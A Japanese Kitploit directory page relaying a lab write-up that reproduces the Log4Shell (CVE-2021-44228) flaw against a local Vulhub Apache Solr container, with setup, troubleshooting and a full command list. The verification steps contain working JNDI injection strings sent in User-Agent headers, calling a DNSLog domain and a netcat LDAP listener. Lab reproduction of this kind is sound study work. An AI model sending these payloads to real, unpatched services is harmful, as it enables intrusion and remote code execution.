Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Log4Shell-Vulnerability-Replication — CVE-2021-44228 脆弱性再現の完全記録(環境構築、トリガー検証を含む) | Kitploit
ツール/GitHubGitHub/hmxh123/log4shell-vulnerability-replication
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubhmxh123/log4shell-vulnerability-replication

Log4Shell-Vulnerability-Replication

CVE-2021-44228 脆弱性再現の完全記録(環境構築、トリガー検証を含む)

リポジトリを見る
33ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-44228 (Log4Shell) 脆弱性完全再現記録

本記録は、Vulhub が提供する Apache Solr 8.11.0 のターゲット環境に基づき、Log4j2 JNDI インジェクション脆弱性を完全に再現し、DNSLog およびローカル LDAP リスニングによって脆弱性の存在を確認したものです。

一、実験環境

  • オペレーティングシステム: Windows 11 + WSL2 (Ubuntu)
  • コンテナプラットフォーム: Docker Desktop 4.76
  • ターゲット環境の出典: Vulhub (vulhub/log4j/CVE-2021-44228)
  • 対象サービス: Apache Solr 8.11.0(log4j-core 2.14.1 を含む)
  • 攻撃機: ローカルホスト(DNSLog クライアント兼 LDAP リスナーとして)

二、環境構築手順

2.1 Vulhub ソースコードの取得

GitHub への直接接続が不安定なため、Gitee ミラーで高速化:

root@kitploit:~
cd D:\\SecWork
git clone https://gitee.com/hanxu2486/vulhub.git

2.2 国内ネットワーク環境での Docker イメージプル問題の解決

Alibaba Cloud 専用イメージアクセラレータを設定(コンテナイメージサービスにログインし、個人用アドレスを取得):

  • Docker Desktop → Settings → Docker Engine を開く
  • registry-mirrors を修正:
  • root@kitploit:~
    {
      "registry-mirrors": ["https://xxxxx.mirror.aliyuncs.com"]
    }
    
    • Apply & Restart をクリック

    それでも TLS handshake timeout が発生する場合は、WSL で sudo hwclock -s を実行して時刻を同期。

    2.3 Solr コンテナの起動

    root@kitploit:~
    cd D:\SecWork\vulhub\log4j\CVE-2021-44228
    docker-compose up -d
    

    出力に成功表示:

    root@kitploit:~
    ✔ Image vulhub/solr:8.11.0    Pulled    117.7s
    ✔ Container cve-2021-44228-solr-1    Started
    

    http://localhost:8983/solr にアクセスして Solr 管理画面が表示されれば環境準備完了。

    三、脆弱性再現手順

    3.1 テスト用 Core の作成

    Solr にはデフォルトで core がないため、手動で作成:

    root@kitploit:~
    curl "http://localhost:8983/solr/admin/cores?action=CREATE&name=test&configSet=_default"
    

    "status":0 が返り、core test が作成成功。

    3.2 DNSLog を使用した脆弱性存在確認

    ブラウザで http://dnslog.cn にアクセスし、Get SubDomain をクリックして一時ドメイン(例:abc123.dnslog.cn)を取得。

    コマンドラインで以下を実行(PowerShell のエイリアス干渉を避けるため curl.exe を使用):

    root@kitploit:~
    curl.exe -H 'User-Agent: ${jndi:ldap://abc123.dnslog.cn/test}' 'http://localhost:8983/solr/test/select?q=*:*'
    

    http://dnslog.cn ページに戻り Refresh Record をクリックすると、DNS 解決レコードが即座に表示され、脆弱性の存在が確認できる。

    3.3 ローカルリスニングによる検証(詳細検証)

    WSL でリスナーを起動:nc -lvp 1389

    ホスト OS の IP を取得(Windows PowerShell で ipconfig を実行し、WSL 仮想 NIC の IP(例:172.30.208.1)を確認)。

    ローカル IP を含む悪意のあるリクエストを送信:

    root@kitploit:~
    curl.exe -H 'User-Agent: ${jndi:ldap://172.30.208.1:1389/test}' 'http://localhost:8983/solr/test/select?q=*:*'
    

    nc ウィンドウを観察すると、接続情報が表示:

    root@kitploit:~
    connect to [172.30.208.1] from localhost [127.0.0.1] 54321
    

    Solr が正常に攻撃機へ LDAP クエリを送信したことを示しており、脆弱性の再現に成功。

    四、脆弱性の原理概要

    Apache Log4j2 が提供する JndiLookup 機能により、ログメッセージ内で ${jndi:ldap://...} 形式のプレースホルダーを使用できます。ログメッセージが記録されると、Log4j2 はこのプレースホルダーを解析し、JNDI 経由でリモート LDAP サーバーにアクセスしようとします。攻撃者は悪意のある LDAP サーバーを設置し、Java デシリアライゼーションペイロードを返すことで、リモートコード実行を実現できます。

    本再現では、User-Agent ヘッダーに悪意のあるペイロードを設定することで、Solr がリクエスト処理時にこのヘッダーを記録し、JNDI クエリをトリガーし、脆弱性の存在を示しました。

    五、実験成果のまとめ

    ✅ Vulhub 脆弱性環境の構築に成功し、国内ネットワーク環境下での様々な問題(DNS ハイジャック、イメージアクセラレータ、WSL 時刻同期など)を克服。

    ✅ 独立して脆弱性をトリガーし、DNSLog とローカルリスニングの 2 つの方法で JNDI インジェクションを検証。

    ✅ Log4Shell 脆弱性の原理と JNDI インジェクションの攻撃チェーンを深く理解。

    ✅ Docker ネットワークトラブルシューティング、WSL2 設定、Git プロキシクリアなどの実戦経験を蓄積。

    六、トラブルシューティング経験まとめ

    問題現象根本原因解決方法
    git clone 502 / 接続タイムアウトDNS ハイジャック / プロキシ干渉Gitee ミラーを使用、Git プロキシを削除、DNS をフラッシュ
    Docker イメージプル 429公共イメージソースのレート制限Alibaba Cloud 専用アクセラレータを設定
    TLS handshake timeoutWSL2 の時刻が同期していないsudo hwclock -s で時刻を同期
    脆弱性がトリガーされないcore が未作成、またはペイロード位置が誤りcore を作成し、User-Agent ヘッダーを使用

    七、完全コマンド一覧

    root@kitploit:~
    # Vulhub のクローン(Gitee ミラー使用)
    git clone https://gitee.com/hanxu2486/vulhub.git
    
    # 脆弱性ディレクトリに移動
    cd D:\SecWork\vulhub\log4j\CVE-2021-44228
    
    # 環境起動
    docker-compose up -d
    
    # Solr Core の作成
    curl "http://localhost:8983/solr/admin/cores?action=CREATE&name=test&configSet=_default"
    
    # DNSLog 検証
    curl -H 'User-Agent: ${jndi:ldap://your.dnslog.cn/test}' 'http://localhost:8983/solr/test/select?q=*:*'
    
    # ローカルリスニング検証(WSL で nc を実行)
    nc -lvp 1389
    curl -H 'User-Agent: ${jndi:ldap://your.wsl.ip:1389/test}' 'http://localhost:8983/solr/test/select?q=*:*'
    
    # 環境停止
    docker-compose down
    

    八、参考リンク

    • Vulhub 公式プロジェクト
    • CVE-2021-44228 詳細
    • DNSLog プラットフォーム

    作成日:2026年6月
    作者:HanXu
    リポジトリ:https://github.com/hmxh123/Log4Shell-Vulnerability-Replication

    ツールをダウンロード